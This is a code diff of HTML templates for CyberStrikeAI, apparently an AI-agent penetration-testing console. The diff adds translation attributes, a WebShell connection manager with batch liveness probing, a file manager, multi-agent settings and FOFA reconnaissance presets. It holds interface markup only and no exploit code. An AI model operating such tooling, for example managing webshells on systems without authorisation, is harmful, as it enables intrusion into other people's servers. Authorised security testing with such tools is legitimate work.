<p style="margin: 0 0 8px 0;" data-i18n="apiDocs.authGetTokenDesc">在前端页面登录后,Token 会自动保存。您也可以通过以下方式获取:</p>
<pre style="background: var(--bg-primary); padding: 8px; border-radius: 4px; margin: 8px 0; overflow-x: auto; font-size: 0.8125rem;"><code>POST /api/auth/login
Content-Type: application/json
@@ -871,13 +884,13 @@ Content-Type: application/json
}</code></pre>
</div>
<div style="background: var(--bg-secondary); padding: 12px; border-radius: 6px; margin-bottom: 12px;">
<p style="margin: 0 0 8px 0; font-weight: 500;">2. 使用 Token</p>
<p style="margin: 0 0 8px 0;">在请求头中添加 Authorization 字段:</p>
<p style="margin: 0 0 8px 0; font-weight: 500;" data-i18n="apiDocs.authUseToken">2. 使用 Token</p>
<p style="margin: 0 0 8px 0;" data-i18n="apiDocs.authUseTokenDesc">在请求头中添加 Authorization 字段:</p>
<pre style="background: var(--bg-primary); padding: 8px; border-radius: 4px; margin: 8px 0; overflow-x: auto; font-size: 0.8125rem;"><code>Authorization: Bearer your_token_here</code></pre>
<p style="margin: 8px 0 0 0; font-size: 0.8125rem; color: var(--text-muted);">💡 提示:本页面会自动使用您已登录的 Token,无需手动填写。</p>
<p style="margin: 8px 0 0 0; font-size: 0.8125rem; color: var(--text-muted);" data-i18n="apiDocs.authTip">💡 提示:本页面会自动使用您已登录的 Token,无需手动填写。</p>
</div>
<div id="token-status" style="display: none; background: rgba(0, 102, 255, 0.1); padding: 8px 12px; border-radius: 6px; border-left: 3px solid var(--accent-color);">
<p style="margin: 0; font-size: 0.8125rem; color: var(--accent-color);">
<p style="margin: 0; font-size: 0.8125rem; color: var(--accent-color);" data-i18n="apiDocs.tokenDetected">
<strong>✓ 已检测到 Token</strong> - 您可以直接测试 API 接口
</p>
</div>
@@ -899,10 +912,10 @@ Content-Type: application/json
<div class="api-docs-content">
<div class="api-docs-sidebar">
<h3>API 分组</h3>
<h3 data-i18n="apiDocs.sidebarGroupTitle">API 分组</h3>
<ul class="api-group-list" id="api-group-list">
<li class="api-group-item">
<a href="#" class="api-group-link active" data-group="all">全部接口</a>
<a href="#" class="api-group-link active" data-group="all" data-i18n="apiDocs.allApis">全部接口</a>
</li>
</ul>
</div>
@@ -914,13 +927,15 @@ Content-Type: application/json
<line x1="12" y1="8" x2="12" y2="12"/>
<line x1="12" y1="16" x2="12.01" y2="16"/>
</svg>
<h3>加载中...</h3>
<p>正在加载 API 文档</p>
<h3 data-i18n="apiDocs.loading">加载中...</h3>
<p data-i18n="apiDocs.loadingDesc">正在加载 API 文档</p>
</div>
</div>
</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/i18next@23.11.5/i18next.min.js"></script>
<script src="/static/js/i18n.js"></script>
<script src="/static/js/api-docs.js"></script>
</body>
</html>
+517 -116
View File
@@ -47,6 +47,12 @@
</svg>
<span data-i18n="header.apiDocs">API 文档</span>
</button>
<button class="openapi-doc-btn" onclick="window.open('https://github.com/Ed1s0nZ/CyberStrikeAI', '_blank')" data-i18n="header.github" data-i18n-attr="title" data-i18n-skip-text="true" title="GitHub">
<svg width="16" height="16" viewBox="0 0 98 96" fill="currentColor" xmlns="http://www.w3.org/2000/svg">
<path d="M48.854 0C21.839 0 0 22 0 49.217c0 21.756 13.993 40.172 33.405 46.69 2.427.49 3.316-1.059 3.316-2.362 0-1.141-.08-5.052-.08-9.127-13.59 2.934-16.42-5.867-16.42-5.867-2.184-5.704-5.42-7.17-5.42-7.17-4.448-3.015.324-3.015.324-3.015 4.934.326 7.523 5.052 7.523 5.052 4.367 7.496 11.404 5.378 14.235 4.074.404-3.178 1.699-5.378 3.074-6.6-10.839-1.141-22.243-5.378-22.243-24.283 0-5.378 1.94-9.778 5.014-13.2-.485-1.222-2.184-6.275.486-13.038 0 0 4.125-1.304 13.426 5.052a46.97 46.97 0 0 1 12.214-1.63c4.125 0 8.33.571 12.213 1.63 9.302-6.356 13.427-5.052 13.427-5.052 2.67 6.763.97 11.816.485 13.038 3.155 3.422 5.015 7.822 5.015 13.2 0 18.905-11.404 23.06-22.324 24.283 1.78 1.548 3.316 4.481 3.316 9.126 0 6.6-.08 11.897-.08 13.526 0 1.304.89 2.853 3.316 2.364 19.412-6.52 33.405-24.935 33.405-46.691C97.707 22 75.788 0 48.854 0z"/>
</svg>
<span data-i18n="header.github">GitHub</span>
</button>
<div class="lang-switcher">
<button class="btn-secondary lang-switcher-btn" onclick="toggleLangDropdown()" data-i18n="header.language" data-i18n-attr="title" data-i18n-skip-text="true" title="界面语言">
<span class="lang-switcher-icon">🌐</span>
@@ -135,6 +141,23 @@
<span data-i18n="nav.vulnerabilities">漏洞管理</span>
</div>
</div>
<div class="nav-item" data-page="webshell">
<div class="nav-item-content" data-title="WebShell管理" onclick="switchPage('webshell')" data-i18n="nav.webshell" data-i18n-attr="data-title" data-i18n-skip-text="true">
<svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<polyline points="4 17 10 11 4 5"></polyline>
<line x1="12" y1="19" x2="20" y2="19"></line>
</svg>
<span data-i18n="nav.webshell">WebShell管理</span>
</div>
</div>
<div class="nav-item" data-page="chat-files">
<div class="nav-item-content" data-title="文件管理" onclick="switchPage('chat-files')" data-i18n="nav.chatFiles" data-i18n-attr="data-title" data-i18n-skip-text="true">
<svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<path d="M22 19a2 2 0 0 1-2 2H4a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h5l2 3h9a2 2 0 0 1 2 2z"></path>
</svg>
<span data-i18n="nav.chatFiles">文件管理</span>
</div>
</div>
<div class="nav-item nav-item-has-submenu" data-page="mcp">
<div class="nav-item-content" data-title="MCP" onclick="toggleSubmenu('mcp')" data-i18n="nav.mcp" data-i18n-attr="data-title" data-i18n-skip-text="true">
<svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
@@ -197,6 +220,24 @@
</div>
</div>
</div>
<div class="nav-item nav-item-has-submenu" data-page="agents">
<div class="nav-item-content" data-title="Agents" onclick="toggleSubmenu('agents')" data-i18n="nav.agents" data-i18n-attr="data-title" data-i18n-skip-text="true">
<svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<polygon points="12 2 2 7 12 12 22 7 12 2"></polygon>
<polyline points="2 17 12 22 22 17"></polyline>
<polyline points="2 12 12 17 22 12"></polyline>
</svg>
<span data-i18n="nav.agents">Agents</span>
<svg class="submenu-arrow" width="16" height="16" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M9 18l6-6-6-6" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
</svg>
</div>
<div class="nav-submenu">
<div class="nav-submenu-item" data-page="agents-management" onclick="switchPage('agents-management')">
<span data-i18n="nav.agentsManagement">Agent管理</span>
</div>
</div>
</div>
<div class="nav-item nav-item-has-submenu" data-page="roles">
<div class="nav-item-content" data-title="角色" onclick="toggleSubmenu('roles')" data-i18n="nav.roles" data-i18n-attr="data-title" data-i18n-skip-text="true">
<svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
@@ -400,12 +441,18 @@
<!-- 对话页面 -->
<div id="page-chat" class="page">
<div class="chat-page-layout">
<!-- 历史对话侧边栏 -->
<aside class="conversation-sidebar">
<div class="sidebar-header">
<button class="new-chat-btn" onclick="startNewConversation()">
<!-- 历史对话侧边栏(可折叠,与主导航侧边栏类似) -->
<aside class="conversation-sidebar" id="conversation-sidebar">
<!-- 头部一行:折叠与「新对话」并排,避免绝对定位重叠(flex 为最佳实践) -->
<div class="sidebar-header conversation-sidebar-header">
<button type="button" class="new-chat-btn" onclick="startNewConversation()">
<span>+</span> <span data-i18n="chat.newChat">新对话</span>
</button>
<button type="button" class="conversation-sidebar-collapse-btn" onclick="toggleConversationSidebar()" data-i18n="chat.toggleConversationPanel" data-i18n-attr="title" data-i18n-skip-text="true" title="折叠/展开对话列表" aria-label="折叠/展开对话列表">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true">
<path d="M15 18l-6-6 6-6" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
</svg>
</button>
</div>
<div class="sidebar-content">
<!-- 全局搜索 -->
@@ -537,6 +584,46 @@
<div id="role-selection-list" class="role-selection-list-main"></div>
</div>
</div>
<div id="agent-mode-wrapper" class="agent-mode-wrapper" style="display: none;">
<div class="agent-mode-inner">
<button type="button" id="agent-mode-btn" class="role-selector-btn agent-mode-btn" onclick="toggleAgentModePanel()" data-i18n="chat.agentModeSelectAria" data-i18n-attr="aria-label,title" data-i18n-skip-text="true" aria-label="选择单代理或多代理" aria-haspopup="listbox" aria-expanded="false" title="选择单代理或多代理">
<span id="agent-mode-icon" class="role-selector-icon" aria-hidden="true">🤖</span>
<span id="agent-mode-text" class="role-selector-text">单代理</span>
<svg class="role-selector-arrow" width="10" height="10" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true">
<path d="M6 9l6 6 6-6" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
</svg>
</button>
<div id="agent-mode-panel" class="agent-mode-panel" style="display: none;" role="listbox" aria-labelledby="agent-mode-panel-title">
<div class="role-selection-panel-header agent-mode-panel-header">
<h3 id="agent-mode-panel-title" class="role-selection-panel-title" data-i18n="chat.agentModePanelTitle">对话模式</h3>
<button type="button" class="role-selection-panel-close" onclick="closeAgentModePanel()" data-i18n="common.close" data-i18n-attr="title" title="关闭">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M18 6L6 18M6 6l12 12" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
</svg>
</button>
</div>
<div class="agent-mode-options">
<button type="button" class="role-selection-item-main agent-mode-option" data-value="single" role="option" onclick="selectAgentMode('single')">
<div class="role-selection-item-icon-main" aria-hidden="true">🤖</div>
<div class="role-selection-item-content-main">
<div class="role-selection-item-name-main" data-i18n="chat.agentModeSingle">单代理</div>
<div class="role-selection-item-description-main" data-i18n="chat.agentModeSingleHint">单模型 ReAct 循环,适合常规对话与工具调用</div>
</div>
<div class="role-selection-checkmark-main agent-mode-check" data-agent-mode-check="single"></div>
</button>
<button type="button" class="role-selection-item-main agent-mode-option" data-value="multi" role="option" onclick="selectAgentMode('multi')">
<div class="role-selection-item-icon-main" aria-hidden="true">🧩</div>
<div class="role-selection-item-content-main">
<div class="role-selection-item-name-main" data-i18n="chat.agentModeMulti">多代理</div>
<div class="role-selection-item-description-main" data-i18n="chat.agentModeMultiHint">Eino DeepAgent 编排子代理,适合复杂任务</div>
</div>
<div class="role-selection-checkmark-main agent-mode-check" data-agent-mode-check="multi"></div>
</button>
</div>
</div>
</div>
<input type="hidden" id="agent-mode-select" value="single" autocomplete="off">
</div>
<div class="chat-input-with-files">
<div id="chat-file-list" class="chat-file-list" aria-label="已选文件列表"></div>
<div class="chat-input-field">
@@ -774,18 +861,18 @@
<label for="fofa-query" data-i18n="infoCollectPage.fofaQuerySyntax">FOFA 查询语法</label>
<textarea id="fofa-query" class="info-collect-query-input" rows="1" data-i18n="infoCollect.queryPlaceholder" data-i18n-attr="placeholder" placeholder='例如:app="Apache" && country="CN"'></textarea>
<small class="form-hint" data-i18n="infoCollectPage.formHint">查询语法参考 FOFA 文档,支持 && / || / () 等。</small>
<div class="info-collect-presets" aria-label="FOFA 查询示例">
<button class="preset-chip" type="button" onclick="applyFofaQueryPreset('app=&quot;Apache&quot; &amp;&amp; country=&quot;CN&quot;')" data-i18n="infoCollectPage.presetApache" data-i18n-attr="title" title="填入示例">Apache + 中国</button>
<button class="preset-chip" type="button" onclick="applyFofaQueryPreset('title=&quot;登录&quot; &amp;&amp; country=&quot;CN&quot;')" data-i18n="infoCollectPage.presetLogin" data-i18n-attr="title" title="填入示例">登录页 + 中国</button>
<button class="preset-chip" type="button" onclick="applyFofaQueryPreset('domain=&quot;example.com&quot;')" data-i18n="infoCollectPage.presetDomain" data-i18n-attr="title" title="填入示例">指定域名</button>
<button class="preset-chip" type="button" onclick="applyFofaQueryPreset('ip=&quot;1.1.1.1&quot;')" data-i18n="infoCollectPage.presetIp" data-i18n-attr="title" title="填入示例">指定 IP</button>
<div class="info-collect-presets" aria-label="FOFA 查询示例" data-i18n="infoCollectPage.queryPresetsAria" data-i18n-attr="aria-label" data-i18n-skip-text="true">
<button class="preset-chip" type="button" onclick="applyFofaQueryPreset('app=&quot;Apache&quot; &amp;&amp; country=&quot;CN&quot;')" data-i18n="infoCollectPage.presetApache" data-i18n-attr="title" data-i18n-title="infoCollectPage.fillExample" title="填入示例">Apache + 中国</button>
<button class="preset-chip" type="button" onclick="applyFofaQueryPreset('title=&quot;登录&quot; &amp;&amp; country=&quot;CN&quot;')" data-i18n="infoCollectPage.presetLogin" data-i18n-attr="title" data-i18n-title="infoCollectPage.fillExample" title="填入示例">登录页 + 中国</button>
<button class="preset-chip" type="button" onclick="applyFofaQueryPreset('domain=&quot;example.com&quot;')" data-i18n="infoCollectPage.presetDomain" data-i18n-attr="title" data-i18n-title="infoCollectPage.fillExample" title="填入示例">指定域名</button>
<button class="preset-chip" type="button" onclick="applyFofaQueryPreset('ip=&quot;1.1.1.1&quot;')" data-i18n="infoCollectPage.presetIp" data-i18n-attr="title" data-i18n-title="infoCollectPage.fillExample" title="填入示例">指定 IP</button>
</div>
</div>
<div class="form-group">
<label for="fofa-nl" data-i18n="infoCollectPage.naturalLanguage">自然语言(AI 解析为 FOFA 语法)</label>
<div class="info-collect-nl-row">
<textarea id="fofa-nl" class="info-collect-query-input" rows="1" data-i18n="infoCollectPage.nlPlaceholder" data-i18n-attr="placeholder" placeholder="例如:找美国 Missouri 的 Apache 站点,标题包含 Home"></textarea>
<button id="fofa-nl-parse-btn" class="btn-secondary" type="button" onclick="parseFofaNaturalLanguage()" data-i18n="infoCollectPage.parseBtn" data-i18n-attr="title" title="将自然语言解析为 FOFA 查询语法">AI 解析</button>
<button id="fofa-nl-parse-btn" class="btn-secondary" type="button" onclick="parseFofaNaturalLanguage()" data-i18n="infoCollectPage.parseBtn" data-i18n-attr="title" data-i18n-title="infoCollectPage.parseBtnTitle" title="将自然语言解析为 FOFA 查询语法">AI 解析</button>
</div>
<div id="fofa-nl-status" class="fofa-nl-status muted" style="display: none;" aria-live="polite"></div>
<small class="form-hint" data-i18n="infoCollectPage.parseHint">解析后会弹窗展示 FOFA 语法(可编辑),确认无误后再填入查询框并执行查询。</small>
@@ -803,17 +890,17 @@
<label class="checkbox-label" style="margin-top: 24px;">
<input type="checkbox" id="fofa-full" class="modern-checkbox" />
<span class="checkbox-custom"></span>
<span class="checkbox-text">full</span>
<span class="checkbox-text" data-i18n="infoCollectPage.fullLabel">full</span>
</label>
</div>
</div>
<div class="form-group">
<label for="fofa-fields" data-i18n="infoCollectPage.returnFields">返回字段名(逗号分隔)</label>
<input type="text" id="fofa-fields" value="host,ip,port,domain,title,protocol,country,province,city,server" />
<div class="info-collect-presets" aria-label="FOFA 字段模板">
<button class="preset-chip" type="button" onclick="applyFofaFieldsPreset('host,ip,port,domain')" data-i18n="infoCollectPage.minFields" data-i18n-attr="title" title="适合快速导出目标">最小字段</button>
<button class="preset-chip" type="button" onclick="applyFofaFieldsPreset('host,title,ip,port,domain,protocol,server,icp,country,province,city')" data-i18n="infoCollectPage.webCommon" data-i18n-attr="title" title="适合浏览和筛选">Web 常用</button>
<button class="preset-chip" type="button" onclick="applyFofaFieldsPreset('host,ip,port,domain,title,protocol,country,province,city,server,as_number,as_organization,icp,header,banner')" data-i18n="infoCollectPage.intelEnhanced" data-i18n-attr="title" title="更偏指纹/情报">情报增强</button>
<div class="info-collect-presets" aria-label="FOFA 字段模板" data-i18n="infoCollectPage.fieldsPresetsAria" data-i18n-attr="aria-label" data-i18n-skip-text="true">
<button class="preset-chip" type="button" onclick="applyFofaFieldsPreset('host,ip,port,domain')" data-i18n="infoCollectPage.minFields" data-i18n-attr="title" data-i18n-title="infoCollectPage.minFieldsTitle" title="适合快速导出目标">最小字段</button>
<button class="preset-chip" type="button" onclick="applyFofaFieldsPreset('host,title,ip,port,domain,protocol,server,icp,country,province,city')" data-i18n="infoCollectPage.webCommon" data-i18n-attr="title" data-i18n-title="infoCollectPage.webCommonTitle" title="适合浏览和筛选">Web 常用</button>
<button class="preset-chip" type="button" onclick="applyFofaFieldsPreset('host,ip,port,domain,title,protocol,country,province,city,server,as_number,as_organization,icp,header,banner')" data-i18n="infoCollectPage.intelEnhanced" data-i18n-attr="title" data-i18n-title="infoCollectPage.intelEnhancedTitle" title="更偏指纹/情报">情报增强</button>
</div>
</div>
</div>
@@ -825,7 +912,7 @@
<div class="info-collect-results-title" data-i18n="infoCollectPage.queryResults">查询结果</div>
<div class="info-collect-results-meta" id="fofa-results-meta">-</div>
</div>
<div class="info-collect-results-toolbar" aria-label="结果工具条">
<div class="info-collect-results-toolbar" aria-label="结果工具条" data-i18n="infoCollectPage.resultsToolbarAria" data-i18n-attr="aria-label" data-i18n-skip-text="true">
<div class="info-collect-selected" id="fofa-selected-meta" data-i18n="infoCollectPage.selectedRowsZero">已选择 0 条</div>
<button class="btn-secondary btn-small" type="button" onclick="toggleFofaColumnsPanel()" data-i18n="infoCollectPage.showHideColumns" data-i18n-attr="title" title="显示/隐藏字段"><span data-i18n="infoCollectPage.columns"></span></button>
<button class="btn-secondary btn-small" type="button" onclick="exportFofaResults('csv')" data-i18n="infoCollectPage.exportCsvTitle" data-i18n-attr="title" title="导出当前结果为 CSVUTF-8,兼容中文)"><span data-i18n="infoCollectPage.exportCsv">导出 CSV</span></button>
@@ -945,6 +1032,81 @@
</div>
</div>
<!-- WebShell 管理页面 -->
<div id="page-webshell" class="page">
<div class="page-header">
<h2 data-i18n="webshell.title">WebShell 管理</h2>
<div class="page-header-actions">
<button class="btn-primary" onclick="showAddWebshellModal()" data-i18n="webshell.addConnection">添加连接</button>
</div>
</div>
<div class="page-content webshell-page-content">
<div class="webshell-layout">
<div id="webshell-sidebar" class="webshell-sidebar">
<div class="webshell-sidebar-header" data-i18n="webshell.connections">连接列表</div>
<div class="webshell-conn-search">
<input type="text"
id="webshell-conn-search"
class="form-control webshell-conn-search-input"
data-i18n="webshell.searchPlaceholder"
data-i18n-attr="placeholder"
placeholder="搜索连接..." />
</div>
<div class="webshell-sidebar-tools">
<button type="button" class="btn-ghost btn-sm" id="webshell-batch-probe-btn" data-i18n="webshell.batchProbe">一键批量探活</button>
</div>
<div id="webshell-list" class="webshell-list">
<div class="webshell-empty" data-i18n="webshell.noConnections">暂无连接,请点击「添加连接」</div>
</div>
</div>
<div id="webshell-resize-handle" class="webshell-resize-handle" title="拖拽调整宽度"></div>
<div class="webshell-main">
<div id="webshell-workspace" class="webshell-workspace">
<div class="webshell-workspace-placeholder" data-i18n="webshell.selectOrAdd">请从左侧选择连接,或添加新的 WebShell 连接</div>
</div>
</div>
</div>
</div>
</div>
<!-- 对话附件 / 文件管理 -->
<div id="page-chat-files" class="page">
<div class="page-header">
<h2 data-i18n="chatFilesPage.title">文件管理</h2>
<div class="page-header-actions">
<button type="button" class="btn-primary" onclick="chatFilesOpenUploadPicker()" data-i18n="chatFilesPage.upload">上传文件</button>
<input type="file" id="chat-files-upload-input" style="display:none" onchange="onChatFilesUploadPick(event)" />
<button class="btn-secondary" onclick="loadChatFilesPage()" data-i18n="common.refresh">刷新</button>
</div>
</div>
<div class="page-content">
<p class="chat-files-intro" data-i18n="chatFilesPage.intro">管理在对话中上传的文件。需要让 AI 引用某文件时,在列表中点击「复制路径」,到对话里粘贴即可。</p>
<div class="tasks-filters chat-files-filters">
<label>
<span data-i18n="chatFilesPage.conversationFilter">会话 ID</span>
<input type="text" id="chat-files-filter-conv" class="form-control" data-i18n="chatFilesPage.conversationPlaceholder" data-i18n-attr="placeholder" placeholder="留空表示全部" onkeydown="if(event.key==='Enter') loadChatFilesPage()" />
</label>
<label style="flex:1;min-width:180px;max-width:360px;">
<span data-i18n="chatFilesPage.searchName">文件名</span>
<input type="text" id="chat-files-filter-name" class="form-control" data-i18n="chatFilesPage.searchNamePlaceholder" data-i18n-attr="placeholder" placeholder="筛选文件名" oninput="chatFilesFilterNameOnInput()" onkeydown="if(event.key==='Enter') loadChatFilesPage()" />
</label>
<label>
<span data-i18n="chatFilesPage.groupBy">分组</span>
<select id="chat-files-group-by" class="form-control" onchange="chatFilesGroupByChange()">
<option value="none" data-i18n="chatFilesPage.groupNone">不分组</option>
<option value="date" data-i18n="chatFilesPage.groupByDate">按日期</option>
<option value="conversation" data-i18n="chatFilesPage.groupByConversation">按会话</option>
<option value="folder" data-i18n="chatFilesPage.groupByFolder">按文件夹</option>
</select>
</label>
<button class="btn-secondary" type="button" onclick="loadChatFilesPage()" data-i18n="common.search">搜索</button>
</div>
<div id="chat-files-list-wrap" class="chat-files-table-wrap">
<div class="loading-spinner" data-i18n="common.loading">加载中…</div>
</div>
</div>
</div>
<!-- 任务管理页面 -->
<div id="page-tasks" class="page">
<div class="page-header">
@@ -1075,6 +1237,81 @@
</div>
</div>
<!-- 多代理子 AgentMarkdown)管理 -->
<div id="page-agents-management" class="page">
<div class="page-header">
<h2 data-i18n="agentsPage.title">Agent 管理</h2>
<div class="page-header-actions">
<button type="button" class="btn-secondary" onclick="loadMarkdownAgents()" data-i18n="common.refresh">刷新</button>
<button type="button" class="btn-primary" onclick="showAddMarkdownAgentModal()" data-i18n="agentsPage.create">新建 Agent</button>
</div>
</div>
<div class="page-content">
<p class="agents-page-hint" data-i18n="agentsPage.hint">子 Agent 仅在 agents 目录下 .md 维护。</p>
<div id="agents-md-dir" class="agents-dir-label"></div>
<div id="agents-md-list" class="skills-grid">
<div class="loading-spinner" data-i18n="agentsPage.loading">加载中...</div>
</div>
</div>
</div>
<!-- Agent Markdown 编辑弹窗 -->
<div id="agent-md-modal" class="modal" style="display: none;">
<div class="modal-content" style="max-width: 720px; max-height: 92vh;">
<div class="modal-header">
<h2 id="agent-md-modal-title" data-i18n="agentsPage.editTitle">编辑 Agent</h2>
<span class="modal-close" onclick="closeMarkdownAgentModal()">&times;</span>
</div>
<div class="modal-body" style="overflow-y: auto; max-height: calc(92vh - 130px);">
<input type="hidden" id="agent-md-filename-current" value="">
<div class="form-group" id="agent-md-filename-row">
<label data-i18n="agentsPage.filename">文件名(.md</label>
<input type="text" id="agent-md-filename" data-i18n="agentsPage.filenamePlaceholder" data-i18n-attr="placeholder" placeholder="例如 code-reviewer.md" autocomplete="off" />
</div>
<div class="form-group">
<label data-i18n="agentsPage.fieldRole">类型</label>
<select id="agent-md-role" class="form-select">
<option value="sub" data-i18n="agentsPage.roleSub">子代理</option>
<option value="orchestrator" data-i18n="agentsPage.roleOrchestrator">主代理(Deep 协调者)</option>
</select>
<p class="form-hint muted" data-i18n="agentsPage.roleHint">主代理也可使用固定文件名 orchestrator.md;全目录仅允许一个主代理。</p>
</div>
<div class="form-group">
<label data-i18n="agentsPage.fieldId">Agent ID(留空则从名称生成)</label>
<input type="text" id="agent-md-id" placeholder="code-reviewer" autocomplete="off" />
</div>
<div class="form-group">
<label data-i18n="agentsPage.fieldName">显示名称</label>
<input type="text" id="agent-md-name" data-i18n="agentsPage.namePlaceholder" data-i18n-attr="placeholder" placeholder="Code Reviewer" autocomplete="off" />
</div>
<div class="form-group">
<label data-i18n="agentsPage.fieldDesc">描述</label>
<textarea id="agent-md-description" rows="2" data-i18n="agentsPage.descPlaceholder" data-i18n-attr="placeholder" placeholder="何时调用该子代理"></textarea>
</div>
<div class="form-group">
<label data-i18n="agentsPage.fieldTools">可用工具(逗号分隔,与角色工具 key 一致)</label>
<input type="text" id="agent-md-tools" placeholder="tool_a, tool_b" autocomplete="off" />
</div>
<div class="form-group">
<label data-i18n="agentsPage.fieldBindRole">绑定角色(可选)</label>
<input type="text" id="agent-md-bind-role" placeholder="" autocomplete="off" />
</div>
<div class="form-group">
<label data-i18n="agentsPage.fieldMaxIter">子代理最大迭代(0=使用全局默认)</label>
<input type="number" id="agent-md-max-iter" min="0" value="0" />
</div>
<div class="form-group">
<label data-i18n="agentsPage.fieldInstruction">系统提示词(Markdown 正文)</label>
<textarea id="agent-md-instruction" rows="14" data-i18n="agentsPage.instructionPlaceholder" data-i18n-attr="placeholder" placeholder="You are a specialist agent..."></textarea>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn-secondary" onclick="closeMarkdownAgentModal()" data-i18n="common.cancel">取消</button>
<button type="button" class="btn-primary" onclick="saveMarkdownAgent()" data-i18n="common.save">保存</button>
</div>
</div>
</div>
<!-- 系统设置页面 -->
<div id="page-settings" class="page">
<div class="page-header">
@@ -1087,6 +1324,9 @@
<div class="settings-nav-item active" data-section="basic" onclick="switchSettingsSection('basic')">
<span data-i18n="settings.nav.basic">基本设置</span>
</div>
<div class="settings-nav-item" data-section="knowledge" onclick="switchSettingsSection('knowledge')">
<span data-i18n="settings.nav.knowledge">知识库</span>
</div>
<div class="settings-nav-item" data-section="robots" onclick="switchSettingsSection('robots')">
<span data-i18n="settings.nav.robots">机器人设置</span>
</div>
@@ -1120,7 +1360,7 @@
<input type="password" id="openai-api-key" data-i18n="settingsBasic.openaiApiKeyPlaceholder" data-i18n-attr="placeholder" placeholder="输入OpenAI API Key" required />
</div>
<div class="form-group">
<label for="openai-model" data-i18n="settingsBasic.model">模型 <span style="color: red;">*</span></label>
<label for="openai-model"><span data-i18n="settingsBasic.model">模型</span> <span style="color: red;">*</span></label>
<input type="text" id="openai-model" data-i18n="settingsBasic.modelPlaceholder" data-i18n-attr="placeholder" placeholder="gpt-4" required />
</div>
</div>
@@ -1155,10 +1395,51 @@
<label for="agent-max-iterations" data-i18n="settingsBasic.maxIterations">最大迭代次数</label>
<input type="number" id="agent-max-iterations" min="1" max="100" data-i18n="settingsBasic.iterationsPlaceholder" data-i18n-attr="placeholder" placeholder="30" />
</div>
<div class="form-group">
<label class="checkbox-label">
<input type="checkbox" id="multi-agent-enabled" class="modern-checkbox" />
<span class="checkbox-custom"></span>
<span class="checkbox-text">启用 Eino 多代理(DeepAgent</span>
</label>
<small class="form-hint">开启后对话页可选「多代理」模式;子代理在 config.yaml 的 multi_agent.sub_agents 中配置。</small>
</div>
<div class="form-group">
<label for="multi-agent-default-mode">对话页默认模式</label>
<select id="multi-agent-default-mode">
<option value="single">单代理(ReAct</option>
<option value="multi">多代理(Eino</option>
</select>
</div>
<div class="form-group">
<label class="checkbox-label">
<input type="checkbox" id="multi-agent-robot-use" class="modern-checkbox" />
<span class="checkbox-custom"></span>
<span class="checkbox-text">企业微信 / 钉钉 / 飞书机器人也使用多代理</span>
</label>
<small class="form-hint">需同时勾选「启用多代理」;调用量与成本更高。</small>
</div>
<div class="form-group">
<label class="checkbox-label">
<input type="checkbox" id="multi-agent-batch-use" class="modern-checkbox" />
<span class="checkbox-custom"></span>
<span class="checkbox-text">批量任务队列也使用多代理</span>
</label>
<small class="form-hint">开启后,任务管理中按队列执行的每个子任务将走 Eino DeepAgent(需启用多代理)。</small>
</div>
</div>
</div>
<!-- 知识库配置 -->
<div class="settings-actions">
<button class="btn-primary" onclick="applySettings()" data-i18n="settings.apply.button">应用配置</button>
</div>
</div>
<!-- 知识库设置 -->
<div id="settings-section-knowledge" class="settings-section-content">
<div class="settings-section-header">
<h3 data-i18n="settings.knowledge.title">知识库设置</h3>
</div>
<div class="settings-subsection">
<h4 data-i18n="settingsBasic.knowledgeConfig">知识库配置</h4>
<div class="settings-form">
@@ -1174,7 +1455,7 @@
<input type="text" id="knowledge-base-path" data-i18n="settingsBasic.knowledgeBasePathPlaceholder" data-i18n-attr="placeholder" placeholder="knowledge_base" />
<small class="form-hint" data-i18n="settingsBasic.knowledgeBasePathHint">相对于配置文件所在目录的路径</small>
</div>
<div class="settings-subsection-header">
<h5 data-i18n="settingsBasic.embeddingConfig">嵌入模型配置</h5>
</div>
@@ -1198,7 +1479,7 @@
<label for="knowledge-embedding-model" data-i18n="settingsBasic.modelName">模型名称</label>
<input type="text" id="knowledge-embedding-model" data-i18n="settingsBasic.embeddingModelPlaceholder" data-i18n-attr="placeholder" placeholder="text-embedding-v4" />
</div>
<div class="settings-subsection-header">
<h5 data-i18n="settingsBasic.retrievalConfig">检索配置</h5>
</div>
@@ -1217,7 +1498,7 @@
<input type="number" id="knowledge-retrieval-hybrid-weight" min="0" max="1" step="0.1" data-i18n="settingsBasic.hybridPlaceholder" data-i18n-attr="placeholder" placeholder="0.7" />
<small class="form-hint" data-i18n="settingsBasic.hybridHint">向量检索的权重(0-1),1.0表示纯向量检索,0.0表示纯关键词检索</small>
</div>
</div>
<div class="settings-subsection-header">
<h5 data-i18n="settingsBasic.indexConfig">索引配置</h5>
</div>
@@ -1255,7 +1536,9 @@
<label for="knowledge-indexing-retry-delay-ms" data-i18n="settingsBasic.retryDelay">重试间隔(毫秒)</label>
<input type="number" id="knowledge-indexing-retry-delay-ms" min="0" max="10000" data-i18n="settingsBasic.retryDelayPlaceholder" data-i18n-attr="placeholder" placeholder="1000" />
<small class="form-hint" data-i18n="settingsBasic.retryDelayHint">重试间隔毫秒数(默认 1000),每次重试会递增延迟</small>
</div> </div>
</div>
</div>
</div>
<div class="settings-actions">
<button class="btn-primary" onclick="applySettings()" data-i18n="settings.apply.button">应用配置</button>
